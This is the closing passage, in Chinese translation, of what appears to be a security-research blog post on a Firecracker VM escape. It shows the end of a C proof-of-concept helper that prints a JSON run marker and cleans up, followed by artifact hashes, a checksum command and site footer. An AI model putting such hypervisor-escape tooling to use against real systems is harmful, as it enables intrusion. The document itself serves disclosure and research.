    printf("{\"schema\":\"net08-v23-owned-private-stack-marker-v1\","
           "\"event\":\"marker_trigger_returned\","
           "\"runId\":\"%s\",\"triggerByteCount\":1,"
           "\"privateStackBytesRestored\":true,"
           "\"sharedTextWriteAttempted\":false,"
           "\"shellAttempted\":false,\"hostCommandAttempted\":false}\n",
           run_id);
    fflush(stdout);

    if (munmap(stack_page, PAGE_SIZE_U64) != 0 ||
        munmap(ptregs_page, PAGE_SIZE_U64) != 0) {
        perror("munmap marker pages");
        return 70;
    }
    close(port_fd);
    close(memory_fd);
    return 0;
}

构件哈希值为:

Firecracker stderr capture:
5b8c0c0b5d5acb9ddf96891c79db8004832fd084e5e2d77484075995396fabbf

Final helper ELF:
fabf71650b76f7bbc9908df9474ab3aa7ec503dcc6c168cf5cb7236f50318faa

Final helper source:
fb6b4215ebc2a1d7fe14e5488ea2ff88417b5b81b4a6db8c39b9113fa7ce703c

使用以下命令根据清单验证压缩包:

shasum -a 256 -c SHA256SUMS

技术参考

相关文章

Image 8: CVE-2026-14077: Select Your Own Origin - Spoofing Chrome's Address Bar ### CVE-2026-14077:选择你自己的来源 - 伪造 Chrome 地址栏:一个 HTML select 元素如何跨越 Chrome 的死亡线,并将单次点击变成伪造、逼真的虚假软件下载流程。

为突破而生。

产品

平台定价文档

研究

PwnEscape博客更新日志安全

联系

TwitterLinkedIn联系我们

所有系统运行正常

© 2026 pwn.ai — 为突破而生。

PWN.AI///POC || GTFO///AUTONOMOUS OFFENSE///BUILT TO BREACH///ZERO-DAY HUNTERS///AGENTIC SWARM///94% PORTSWIGGER///245/261 LABS///PWN.AI///POC || GTFO///AUTONOMOUS OFFENSE///BUILT TO BREACH///ZERO-DAY HUNTERS///AGENTIC SWARM///94% PORTSWIGGER///245/261 LABS///

Firecracker VM 逃逸:PwnEscape 第二部分。| PWN.AI 安全研究

来源:Hacker News-首页 · pwn.ai